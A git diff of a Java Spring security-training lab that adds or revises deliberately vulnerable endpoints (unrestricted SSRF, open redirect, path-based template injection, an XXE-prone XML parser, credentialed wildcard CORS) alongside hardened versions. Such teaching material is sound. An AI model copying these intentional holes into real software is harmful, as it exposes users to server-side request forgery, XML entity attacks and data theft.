resultList = new ArrayList<>();
+ if (input == null || input.trim().isEmpty()) {
+ return resultList;
+ }
// 切割字符串并转换为整数
String[] parts = input.split(",");
diff --git a/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java b/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java
index 7a3bb49..6a864f0 100644
--- a/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java
+++ b/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java
@@ -10,10 +10,14 @@
import org.springframework.web.bind.annotation.*;
import top.whgojp.common.utils.CheckUserInput;
+import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
+import java.io.IOException;
import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
+import java.nio.charset.StandardCharsets;
/**
* @description SSRF-服务端请求伪造
@@ -32,6 +36,22 @@ public String fileUpload() {
return "vul/ssrf/ssrf";
}
+ @ApiOperation(value = "模拟内网元数据服务", notes = "用于SSRF场景演示,模拟攻击者通过服务端访问内网或云元数据接口")
+ @GetMapping("/internal/metadata")
+ @ResponseBody
+ public String internalMetadata() {
+ return "instance-id: i-javaseclab-ssrf\n"
+ + "role: internal-admin\n"
+ + "token: javaseclab-metadata-token\n"
+ + "source: 127.0.0.1";
+ }
+
+ @ApiOperation(value = "模拟跳转链路", notes = "用于演示SSRF修复时必须禁用自动跳转,或对每一跳重新校验")
+ @GetMapping("/redirect")
+ public void redirect(@RequestParam String target, HttpServletResponse response) throws IOException {
+ response.sendRedirect(target);
+ }
+
@ApiOperation(value = "漏洞场景:服务端请求伪造", notes = "原生漏洞场景,未做任何限制,可调用URLConnection发起任意请求,探测内网服务、读取文件")
@GetMapping("/vul")
@ResponseBody
@@ -70,8 +90,11 @@ public String safe(@ApiParam(name = "url", value = "请求参数", required = tr
} else {
try {
URL u = new URL(url);
- URLConnection conn = u.openConnection(); // 这里以URLConnection作为演示
- BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
+ HttpURLConnection conn = (HttpURLConnection) u.openConnection();
+ conn.setInstanceFollowRedirects(false);
+ conn.setConnectTimeout(3000);
+ conn.setReadTimeout(3000);
+ BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8));
String content;
StringBuilder html = new StringBuilder();
html.append("");
diff --git a/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java b/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java
index e025238..702b8b5 100644
--- a/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java
+++ b/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java
@@ -5,18 +5,12 @@
import io.swagger.annotations.ApiOperation;
import io.swagger.annotations.ApiParam;
import lombok.extern.slf4j.Slf4j;
-import org.springframework.expression.EvaluationContext;
-import org.springframework.expression.Expression;
-import org.springframework.expression.ExpressionParser;
-import org.springframework.expression.spel.standard.SpelExpressionParser;
-import org.springframework.expression.spel.support.SimpleEvaluationContext;
-import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
-import top.whgojp.common.utils.R;
import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -49,8 +43,9 @@ public String vul1(@ApiParam(name = "para", value = "用户输入参数", requir
return "vul/ssti/" + para;
}
@GetMapping("/vul2/{path}")
- public void vul2(@PathVariable String path) {
- log.info("SSTI注入:"+path);
+ public String vul2(@PathVariable String path) {
+ log.info("SSTI注入:" + path);
+ return "vul/ssti/" + path;
}
@GetMapping("/vul3")
public String vul3(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) {
@@ -62,16 +57,18 @@ public String vul3(@ApiParam(name = "para", value = "用户输入参数", requir
public String safe1(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) {
List white_list = new ArrayList<>(Arrays.asList("vul", "ssti"));
if (white_list.contains(para)){
- return "vul/ssti" + para;
+ return "vul/ssti/" + para;
} else{
return "common/401";
}
}
@GetMapping("/safe2/{path}")
- public void safe2(@PathVariable String path, HttpServletResponse response) {
- log.info("SSTI注入:"+path);
+ public void safe2(@PathVariable String path, HttpServletResponse response) throws IOException {
+ log.info("SSTI注入:" + path);
+ response.setContentType("text/plain;charset=UTF-8");
+ response.getWriter().write("已跳过视图解析,输入路径:" + path);
}
-}
\ No newline at end of file
+}
diff --git a/src/main/java/top/whgojp/modules/xss/controller/DomController.java b/src/main/java/top/whgojp/modules/xss/controller/DomController.java
index d745015..e5034c8 100644
--- a/src/main/java/top/whgojp/modules/xss/controller/DomController.java
+++ b/src/main/java/top/whgojp/modules/xss/controller/DomController.java
@@ -14,7 +14,7 @@
* @Date: 2024/5/23 17:25
*/
@Slf4j
-@Api(value = "ReflectController", tags = "跨站脚本-Dom型XSS")
+@Api(value = "DomController", tags = "跨站脚本-DOM型XSS")
@Controller
@CrossOrigin(origins = "*")
@RequestMapping("/xss/dom")
diff --git a/src/main/java/top/whgojp/modules/xss/controller/OtherController.java b/src/main/java/top/whgojp/modules/xss/controller/OtherController.java
index 727ce23..e79a44b 100644
--- a/src/main/java/top/whgojp/modules/xss/controller/OtherController.java
+++ b/src/main/java/top/whgojp/modules/xss/controller/OtherController.java
@@ -84,7 +84,7 @@ public R hackCookie(@RequestParam String cookie, HttpServletRequest request) {
private UploadUtil uploadUtil;
// 文件上传接口
- @ApiOperation(value = "漏洞场景:文件上传导致存储XSS", notes = "原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果")
+ @ApiOperation(value = "漏洞场景:文件上传导致存储XSS", notes = "上传可被浏览器或预览服务解析的文件,后续访问文件时可能触发XSS")
@RequestMapping("/vul1Upload")
@ResponseBody
@SneakyThrows
@@ -110,6 +110,7 @@ public R vul1Upload(@RequestParam("file") MultipartFile file,
} catch (Exception e) {
return R.error("上传错误,请检查后重新上传:" + e.getMessage());
}
+ // XML解析成功后继续落盘,便于演示“解析 + 可访问文件”组合场景。
case "html":
case "svg":
case "pdf":
@@ -122,7 +123,7 @@ public R vul1Upload(@RequestParam("file") MultipartFile file,
return R.error(res);
}
}
- @ApiOperation(value = "漏洞场景:模版引擎解析导致存储XSS", notes = "")
+ @ApiOperation(value = "漏洞场景:模板引擎不安全渲染导致XSS", notes = "th:utext会把内容作为HTML渲染,th:text会进行转义")
@GetMapping("/vul2OtherTemplate")
public String vul2OtherTemplate(@RequestParam("payload") String payload,
@RequestParam("type") String type, Model model) {
diff --git a/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java b/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java
index 7df5caf..6266dd4 100644
--- a/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java
+++ b/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java
@@ -41,7 +41,7 @@ public String reflect(@PathVariable String view) {
return isValidView(view) ? "vul/xss/reflect/" + view : "error/404";
}
- @ApiOperation(value = "漏洞场景:GET型与POST型", notes = "原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果")
+ @ApiOperation(value = "漏洞场景:GET型与POST型", notes = "原生漏洞场景,未加任何过滤,Controller接口返回JSON类型结果。JSON本身通常不会直接触发XSS,但前端不安全渲染JSON字段时可能触发")
@RequestMapping("/vul1")
@ResponseBody
@ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
@@ -59,7 +59,7 @@ public String vul2(@ApiParam(name = "payload", value = "请求参数", required
}
@SneakyThrows
- @ApiOperation(value = "漏洞场景:Content-Type问题", notes = "Tomcat内置HttpServletResponse,Content-Type导致反射XSS")
+ @ApiOperation(value = "漏洞场景:Content-Type问题", notes = "响应Content-Type决定浏览器解析方式,不可信内容以text/html返回时可能导致反射XSS")
@GetMapping("/vul3")
@ResponseBody
@ApiImplicitParams({
@@ -77,7 +77,7 @@ public void vul3(@ApiParam(name = "type", value = "类型", required = true) @Re
case "plain":
log.info("[+]XSS-反射性-Content-Type:text/plain;charset=utf-8:" + payload);
response.getWriter().print(payload);
- response.setContentType("text/plain;charset=utf-8"); // response默认返回Content-Type类型是text/plain
+ response.setContentType("text/plain;charset=utf-8");
response.getWriter().flush();
break;
default:
@@ -91,7 +91,7 @@ public void vul3(@ApiParam(name = "type", value = "类型", required = true) @Re
private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\\s]+$";
private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);
- @ApiOperation(value = "安全代码:用户输入验证和过滤", notes = "对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据")
+ @ApiOperation(value = "安全代码:用户输入验证和过滤", notes = "使用白名单限制输入格式,适合约束字段类型;最终仍需根据输出位置进行上下文编码")
@GetMapping("/safe1")
@ResponseBody
@ApiImplicitParams({
@@ -116,13 +116,13 @@ public R safe1(@ApiParam(name = "type", value = "类型", required = true) @Requ
return R.ok(filterContented);
}
- @ApiOperation(value = "安全代码:内容安全策略-CSP防护", notes = "内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行")
+ @ApiOperation(value = "安全代码:内容安全策略-CSP防护", notes = "内容安全策略(Content Security Policy)是由浏览器实施的额外防护层,可降低恶意脚本加载和执行风险,但不能替代输出编码与安全模板/DOM用法")
@GetMapping("/safe2")
@ResponseBody
@ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
public String safe2(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload, HttpServletResponse response) {
- response.setHeader("Content-Security-Policy", "default-src self");
- response.setHeader("Content-Security-Policy-Report-Only", "default-src 'self'; other-uri /xss/reflect/csp-other-endpoint");
+ response.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'");
+ response.setHeader("Content-Security-Policy-Report-Only", "default-src 'self'; report-uri /xss/reflect/csp-report-endpoint");
log.info("[-]XSS-反射性-内容安全策略-CSP防护:" + payload);
return payload;
}
@@ -152,7 +152,7 @@ public void receiveCSPReport(@RequestBody String reportData) {
// }
}
- @ApiOperation(value = "安全代码:特殊字符实体转义", notes = "特殊字符实体转义是一种将 HTML 中的特殊字符转换为预定义实体表示的过程。这种转义是为了确保在 HTML 页面中正确显示特定字符,同时避免它们被浏览器误解为 HTML 标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞。")
+ @ApiOperation(value = "安全代码:HTML正文输出编码", notes = "将HTML正文文本中的特殊字符编码为实体,避免浏览器把不可信数据解析为HTML标签或JavaScript。不同输出上下文需要使用不同编码策略")
@GetMapping("/safe3")
@ResponseBody
@ApiImplicitParams({
@@ -170,11 +170,11 @@ public R safe3(@ApiParam(name = "type", value = "类型", required = true) @Requ
payload = StringUtils.replace(payload, "'", "'");
payload = StringUtils.replace(payload, "/", "/");
filterContented = payload;
- log.info("[-]XSS-反射性-内容安全策略-CSP防护-原生实体转移:" + payload);
+ log.info("[-]XSS-反射型-HTML正文输出编码-手动编码:" + payload);
break;
case "spring":
filterContented = HtmlUtils.htmlEscape(payload);
- log.info("[-]XSS-反射性-内容安全策略-CSP防护-Spring框架:" + payload);
+ log.info("[-]XSS-反射型-HTML正文输出编码-Spring框架:" + payload);
break;
default:
return R.error("参数输入有误!");
@@ -182,7 +182,7 @@ public R safe3(@ApiParam(name = "type", value = "类型", required = true) @Requ
return R.ok(filterContented);
}
- @ApiOperation(value = "安全代码:HttpOnly配置", notes = "HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险。")
+ @ApiOperation(value = "安全代码:HttpOnly配置", notes = "HttpOnly可以阻止客户端脚本直接读取带有该属性的Cookie,降低XSS窃取Cookie的影响,但不能修复XSS本身")
@RequestMapping(value = "/safe4", method = RequestMethod.GET)
@ResponseBody
@ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
diff --git a/src/main/java/top/whgojp/modules/xss/controller/StoreController.java b/src/main/java/top/whgojp/modules/xss/controller/StoreController.java
index a4ecf20..1ddb25d 100644
--- a/src/main/java/top/whgojp/modules/xss/controller/StoreController.java
+++ b/src/main/java/top/whgojp/modules/xss/controller/StoreController.java
@@ -45,7 +45,7 @@ public String xssStore() {
return "vul/xss/store";
}
- @ApiOperation(value = "漏洞场景:原生无过滤", notes = "原生漏洞场景,未加任何过滤,将用户输入存储到数据库中")
+ @ApiOperation(value = "漏洞场景:原生无过滤", notes = "原生漏洞场景,未加任何过滤,将用户输入和User-Agent持久化;后续页面不安全渲染时触发存储型XSS")
@PostMapping("/vul")
@ResponseBody
@ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
diff --git a/src/main/java/top/whgojp/modules/xss/controller/UEditorController.java b/src/main/java/top/whgojp/modules/xss/controller/UEditorController.java
index 0c4546a..8d9b938 100644
--- a/src/main/java/top/whgojp/modules/xss/controller/UEditorController.java
+++ b/src/main/java/top/whgojp/modules/xss/controller/UEditorController.java
@@ -46,14 +46,8 @@ public String ueditor() {
public void getConfigInfo(HttpServletRequest request, HttpServletResponse response) {
response.setContentType("application/json");
- String rootPath = "";
- // 判断当前系统是否是Windows系统
- if (isWindowsSystem()) {
- rootPath = ClassUtils.getDefaultClassLoader().getResource("").getPath() + "static/ueditor/jsp";
- } else {
- // 将config.json文件放在jar包同级目录下
- rootPath = "/Users/whgojp/Desktop/Security/JAVA/JavaSecLab/src/main/resources/static/lib/ueditor/jsp";
- }
+ String rootPath = Objects.requireNonNull(ClassUtils.getDefaultClassLoader().getResource("")).getPath()
+ + "static/lib/ueditor/jsp";
log.info("rootPath:{}", rootPath);
try {
response.setCharacterEncoding("UTF-8");
diff --git a/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java b/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java
index 8c175bd..7f546b9 100644
--- a/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java
+++ b/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java
@@ -17,6 +17,7 @@
import javax.xml.bind.JAXBContext;
import javax.xml.bind.Unmarshaller;
+import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.SAXParser;
@@ -73,7 +74,7 @@ public void characters(char[] ch, int start, int length) {
/**
- * javax.xml.parsers.SAXParser 是 XMLReader 的替代品,它提供了更多的安全措施,例如默认禁用 DTD 和外部实体的声明,如果需要使用 DTD 或外部实体,可以手动启用它们,并使用相应的安全措施
+ * SAXParser 解析不可信 XML 时同样需要显式关闭 DTD、外部实体和外部 DTD 加载。
*/
@RequestMapping(value = "/vul2")
@ResponseBody
@@ -100,6 +101,19 @@ public void characters(char[] ch, int start, int length) {
}
}
+ @RequestMapping(value = "/vul3")
+ @ResponseBody
+ public String vul3(@RequestParam String payload) {
+ try {
+ DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
+ DocumentBuilder builder = factory.newDocumentBuilder();
+ Document document = builder.parse(new InputSource(new StringReader(payload)));
+ return formatXmlText(document.getDocumentElement().getTextContent());
+ } catch (Exception e) {
+ return e.toString();
+ }
+ }
+
// @ApiOperation(value = "vul:xmlbeam")
// @RequestMapping(value = "/xmlbeam")
@@ -215,6 +229,8 @@ public String safe1(@RequestParam String payload) {
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+ xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
+ xmlReader.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader("")));
StringWriter stringWriter = new StringWriter();
xmlReader.setContentHandler(new DefaultHandler() {
public void characters(char[] ch, int start, int length) {
@@ -234,6 +250,29 @@ public void characters(char[] ch, int start, int length) {
}
}
+ @RequestMapping(value = "/safe3")
+ @ResponseBody
+ public String safe3(@RequestParam String payload) {
+ try {
+ DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
+ factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+ factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
+ factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+ factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
+ factory.setXIncludeAware(false);
+ factory.setExpandEntityReferences(false);
+ setAttributeIfSupported(factory, XMLConstants.ACCESS_EXTERNAL_DTD, "");
+ setAttributeIfSupported(factory, XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
+
+ DocumentBuilder builder = factory.newDocumentBuilder();
+ builder.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader("")));
+ Document document = builder.parse(new InputSource(new StringReader(payload)));
+ return formatXmlText(document.getDocumentElement().getTextContent());
+ } catch (Exception e) {
+ return e.toString();
+ }
+ }
+
@RequestMapping(value = "/safe2")
@ResponseBody
public String safe2(@RequestParam String payload) {
@@ -246,6 +285,20 @@ public String safe2(@RequestParam String payload) {
return "[-]XML内容安全";
}
+ private String formatXmlText(String text) {
+ if (text == null) {
+ return "";
+ }
+ return text.replace("\n", " ");
+ }
+
+ private void setAttributeIfSupported(DocumentBuilderFactory factory, String name, String value) {
+ try {
+ factory.setAttribute(name, value);
+ } catch (IllegalArgumentException e) {
+ log.warn("XML parser does not support attribute: {}", name);
+ }
+ }
}
diff --git a/src/main/java/top/whgojp/security/SecurityConfigurer.java b/src/main/java/top/whgojp/security/SecurityConfigurer.java
index 41dff18..51ee6aa 100755
--- a/src/main/java/top/whgojp/security/SecurityConfigurer.java
+++ b/src/main/java/top/whgojp/security/SecurityConfigurer.java
@@ -3,6 +3,7 @@
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
+import org.springframework.http.HttpMethod;
import org.springframework.http.HttpStatus;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
@@ -19,7 +20,6 @@
import org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices;
import org.springframework.web.cors.CorsConfiguration;
import org.springframework.web.cors.CorsConfigurationSource;
-import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
import top.whgojp.common.config.AuthIgnoreConfig;
import top.whgojp.common.constant.SysConstant;
import top.whgojp.common.filter.ValidateCodeFilter;
@@ -81,7 +81,16 @@ protected void configure(HttpSecurity http) throws Exception {
permitAll.add("/static/js/**");
permitAll.add("/static/css/**");
permitAll.add("/static/other/**");
-// permitAll.add("/druid/**");
+ permitAll.add("/images/**");
+ permitAll.add("/lib/**");
+ permitAll.add("/js/**");
+ permitAll.add("/css/**");
+ permitAll.add("/api/**");
+ permitAll.add("/upload/**");
+ permitAll.add("/other/**");
+ permitAll.add("/ssrf/internal/**");
+ permitAll.add("/ssrf/redirect");
+ permitAll.add("/druid/**");
// permitAll.add("/ueditor/**");
String[] urls = permitAll.stream().distinct().toArray(String[]::new);
@@ -92,7 +101,8 @@ protected void configure(HttpSecurity http) throws Exception {
// 权限
http.authorizeRequests(authorize ->
// 开放权限
- authorize.antMatchers(urls).permitAll()
+ authorize.antMatchers(HttpMethod.OPTIONS, "/**").permitAll()
+ .antMatchers(urls).permitAll()
.anyRequest().authenticated());
// 使用jwt 关闭session校验
@@ -100,8 +110,8 @@ protected void configure(HttpSecurity http) throws Exception {
// http.addFilterBefore(jwtRequestFilter, UsernamePasswordAuthenticationFilter.class);
- // 如果不需要验证码校验登录 可以注释掉该行
-// http.addFilterBefore(validateCodeFilter, UsernamePasswordAuthenticationFilter.class);
+ // 登录验证码校验,验证码一次性使用,避免同一验证码被重复提交。
+ http.addFilterBefore(validateCodeFilter, UsernamePasswordAuthenticationFilter.class);
// 添加session管理器 session失效后跳到登录页
@@ -133,15 +143,37 @@ protected void configure(HttpSecurity http) throws Exception {
}
- // 解决跨域
+ // 全局跨域演示配置。跨源安全模块需要由 Controller 自己控制响应头,避免被全局通配配置污染。
public CorsConfigurationSource corsConfigurationSource() {
- UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
- CorsConfiguration corsConfiguration = new CorsConfiguration();
- corsConfiguration.addAllowedOrigin("*");
- corsConfiguration.addAllowedHeader("*");
- corsConfiguration.addAllowedMethod("*");
- source.registerCorsConfiguration("/**", corsConfiguration);
- return source;
+ return request -> {
+ String uri = request.getRequestURI();
+ if (uri.startsWith("/crossorigin/corsVul")) {
+ CorsConfiguration corsConfiguration = new CorsConfiguration();
+ corsConfiguration.addAllowedOriginPattern("*");
+ corsConfiguration.setAllowCredentials(true);
+ corsConfiguration.addAllowedHeader("*");
+ corsConfiguration.addAllowedMethod("*");
+ return corsConfiguration;
+ }
+ if (uri.startsWith("/crossorigin/corsSafe")) {
+ CorsConfiguration corsConfiguration = new CorsConfiguration();
+ corsConfiguration.addAllowedOrigin("http://127.0.0.1:8080");
+ corsConfiguration.addAllowedOrigin("https://127.0.0.1:8080");
+ corsConfiguration.setAllowCredentials(true);
+ corsConfiguration.addAllowedHeader("Content-Type");
+ corsConfiguration.addAllowedMethod("GET");
+ corsConfiguration.addAllowedMethod("OPTIONS");
+ return corsConfiguration;
+ }
+ if (uri.startsWith("/crossorigin/")) {
+ return null;
+ }
+ CorsConfiguration corsConfiguration = new CorsConfiguration();
+ corsConfiguration.addAllowedOrigin("*");
+ corsConfiguration.addAllowedHeader("*");
+ corsConfiguration.addAllowedMethod("*");
+ return corsConfiguration;
+ };
}
@Bean
@@ -154,6 +186,7 @@ public PasswordEncoder passwordEncoder() {
public AuthenticationSuccessHandler authenticationSuccessHandler() {
CustomSavedRequestAwareAuthenticationSuccessHandler customSavedRequestAwareAuthenticationSuccessHandler = new CustomSavedRequestAwareAuthenticationSuccessHandler();
customSavedRequestAwareAuthenticationSuccessHandler.setDefaultTargetUrl("/index");
+ customSavedRequestAwareAuthenticationSuccessHandler.setAlwaysUseDefaultTargetUrl(true);
// customSavedRequestAwareAuthenticationSuccessHandler.setEmailPush(emailPush);
// customSavedRequestAwareAuthenticationSuccessHandler.setSmsService(smsService);
// customSavedRequestAwareAuthenticationSuccessHandler.setWeChatService(wechatService);
@@ -183,4 +216,4 @@ public AuthenticationFailureHandler customSimpleUrlAuthenticationFailureHandler(
}
-}
\ No newline at end of file
+}
diff --git a/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java b/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java
index 0ac6635..ebca529 100755
--- a/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java
+++ b/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java
@@ -10,7 +10,6 @@
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.web.authentication.SimpleUrlAuthenticationFailureHandler;
import org.springframework.stereotype.Component;
-import org.springframework.util.StringUtils;
import top.whgojp.common.constant.SysConstant;
import top.whgojp.common.enums.LoginError;
@@ -26,14 +25,10 @@ public class CustomSimpleUrlAuthenticationFailureHandler extends SimpleUrlAuthen
private static final String DEFAULT_FAILURE_URL = SysConstant.LOGIN_URL;
- private String defaultFailureUrl;
-
-
-
@Override
public void onAuthenticationFailure(HttpServletRequest request, HttpServletResponse response, AuthenticationException exception) throws IOException, ServletException {
- super.onAuthenticationFailure(request, response, exception);
setDefaultFailureUrl(determineFailureUrl(exception));
+ super.onAuthenticationFailure(request, response, exception);
log.info("当前异常:"+exception.getMessage());
String loginIp = request.getRemoteHost();
@@ -50,24 +45,22 @@ public void CustomOnAuthenticationFailure(Exception exception){
}
private String determineFailureUrl(AuthenticationException exception) {
- // 默认设置登录错误页面为/login
- defaultFailureUrl = StringUtils.hasLength(defaultFailureUrl) ? defaultFailureUrl : DEFAULT_FAILURE_URL;
-
+ String failureUrl = DEFAULT_FAILURE_URL;
Integer failureType = determineFailureType(exception).getType();
if (failureType != null) {
- defaultFailureUrl += defaultFailureUrl.lastIndexOf("?") > 0 ? "&" : "?" + "error=" + failureType;
+ failureUrl += (failureUrl.lastIndexOf("?") > 0 ? "&" : "?") + "error=" + failureType;
}
- return defaultFailureUrl;
+ return failureUrl;
}
private LoginError determineFailureType(AuthenticationException exception) {
- if (exception.getMessage() == "验证码为空"){
+ if ("验证码为空".equals(exception.getMessage())){
return LoginError.CAPTCHANOTFOUND;
- } else if (exception.getMessage() == "验证码过期") {
+ } else if ("验证码过期".equals(exception.getMessage())) {
return LoginError.CAPTCHAEXPIRED;
- } else if (exception.getMessage() == "验证码不正确") {
+ } else if ("验证码不正确".equals(exception.getMessage())) {
return LoginError.CAPTCHAERROR;
} else if (exception instanceof UsernameNotFoundException) {
return LoginError.USERNAMENOTFOUND;
@@ -82,14 +75,4 @@ private LoginError determineFailureType(AuthenticationException exception) {
return LoginError.FAILURE;
}
-
- public String getDefaultFailureUrl() {
- return defaultFailureUrl;
- }
-
- @Override
- public void setDefaultFailureUrl(String defaultFailureUrl) {
- super.setDefaultFailureUrl(defaultFailureUrl);
- }
-
}
diff --git a/src/main/resources/mapper/SqliMapper.xml b/src/main/resources/mapper/SqliMapper.xml
index b27d600..a977910 100644
--- a/src/main/resources/mapper/SqliMapper.xml
+++ b/src/main/resources/mapper/SqliMapper.xml
@@ -14,8 +14,8 @@
id,username,password
insert into sqli (id,username,password) values (#{id,jdbcType=INTEGER},#{username,jdbcType=VARCHAR},#{password,jdbcType=VARCHAR})
@@ -33,7 +33,7 @@
-
+
SELECT * FROM sqli
@@ -41,14 +41,14 @@
-
+
SELECT * FROM sqli
ORDER BY #{field}
-
+
SELECT * FROM sqli
diff --git a/src/main/resources/static/api/init.json b/src/main/resources/static/api/init.json
index ff32378..a1cd396 100755
--- a/src/main/resources/static/api/init.json
+++ b/src/main/resources/static/api/init.json
@@ -248,9 +248,10 @@
"href": "logic/pay",
"icon": "iconfont icon-zhifu",
"target": "_self"
- }, {
+ },
+ {
"title": "并发安全",
- "href": "",
+ "href": "logic/concurrent",
"icon": "iconfont icon-gaobingfa",
"target": "_self"
},
@@ -481,4 +482,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/src/main/resources/static/js/header.js b/src/main/resources/static/js/header.js
index 0407df9..e7f3afb 100755
--- a/src/main/resources/static/js/header.js
+++ b/src/main/resources/static/js/header.js
@@ -24,4 +24,4 @@ document.writeln("");
document.writeln("");
document.writeln("");
document.writeln("");
-document.writeln("");
+document.writeln("");
diff --git a/src/main/resources/static/js/jquery.request.js b/src/main/resources/static/js/jquery.request.js
index f4260aa..8002161 100755
--- a/src/main/resources/static/js/jquery.request.js
+++ b/src/main/resources/static/js/jquery.request.js
@@ -42,7 +42,10 @@ function request (url, method, data = {}, contentType, back){
error: error,
headers: xhr.getAllResponseHeaders()
});
- return typeof back === "function" && back(null);
+ var message = xhr.responseJSON && xhr.responseJSON.msg
+ ? xhr.responseJSON.msg
+ : "请求失败:" + (xhr.status || status) + " " + (error || xhr.statusText || "");
+ return typeof back === "function" && back({code: 1, msg: message});
}
});
};
@@ -57,4 +60,3 @@ function postAjaxRequst (url, data, callBack) {
return typeof callBack == "function" && callBack(res)
})
};
-
diff --git a/src/main/resources/static/js/staticcode.js b/src/main/resources/static/js/staticcode.js
index ee96d45..d50001f 100755
--- a/src/main/resources/static/js/staticcode.js
+++ b/src/main/resources/static/js/staticcode.js
@@ -4,7 +4,7 @@
* @email: whgojp@foxmail.com
* @Date: 2024/5/19 19:03
*/
-const vul1ReflectRaw = "// 原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果\n" +
+const vul1ReflectRaw = "// 原生漏洞场景,未加任何过滤,Controller接口返回JSON类型结果\n" +
"public R vul1(String payload) {\n" +
" return R.ok(payload);\n" +
"}\n" +
@@ -14,7 +14,7 @@ const vul1ReflectRaw = "// 原生漏洞场景,未加任何过滤,Controller接
"// \"msg\": \"\",\n" +
"// \"code\": 0\n" +
"// }\n" +
- "// payload在json中是不会触发xss的 需要解析到页面中\n" +
+ "// JSON响应本身通常不会直接执行脚本;前端若把字段用innerHTML等方式写入页面,才会触发XSS\n" +
"\n" +
"// 原生漏洞场景,未加任何过滤,Controller接口返回String类型结果\n" +
"public String vul2(String payload) {\n" +
@@ -35,7 +35,7 @@ const vul2ReflectContentType = "// Tomcat内置HttpServletResponse,Content-Typ
" ...\n" +
" }\n" +
"}"
-const safe1CheckUserInput = "// 对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据\n" +
+const safe1CheckUserInput = "// 使用白名单限制输入格式,适合约束字段类型;最终仍需根据输出位置进行上下文编码\n" +
"// 前端校验代码\n" +
"var whitelistRegex = /^[a-zA-Z0-9_\\s]+$/;\n" +
"\n" +
@@ -55,19 +55,20 @@ const safe1CheckUserInput = "// 对用户输入的数据进行验证和过滤,
"if (matcher.matches()){\n" +
" return R.ok(payload);\n" +
"}else return R.error(\"输入内容包含非法字符,请检查输入\");"
-const safe2CSP = "// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行\n" +
